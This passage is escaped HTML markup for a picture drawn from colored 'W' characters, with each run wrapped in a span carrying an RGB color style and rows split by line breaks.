110, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(140, 61, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(177, 192, 200);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(177, 192, 200);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 170, 195);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(79, 116, 139);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(49, 73, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(8, 5, 9);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(79, 116, 139);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(106, 116, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(111, 160, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(65, 110, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(65, 110, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(79, 116, 139);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(65, 110, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(111, 160, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(164, 188, 201);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(214, 214, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(0, 0, 8);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 165, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(115, 170, 200);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(65, 110, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(79, 116, 139);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(57, 94, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(99, 85, 86);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(137, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(42, 56, 64);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(92, 140, 167);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 137, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 198, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(214, 222, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(60, 84, 104);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 170, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 181, 198);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(206, 214, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 231, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWW&lt;br /&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 247, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(49, 73, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(140, 214, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 61, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWW&lt;br /&gt;WWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(70, 94, 103);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(66, 90, 107);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(214, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(75, 79, 86);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 191, 228);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 61, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 165, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(138, 175, 199);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(147, 137, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(164, 188, 201);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 173, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 66, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 181, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 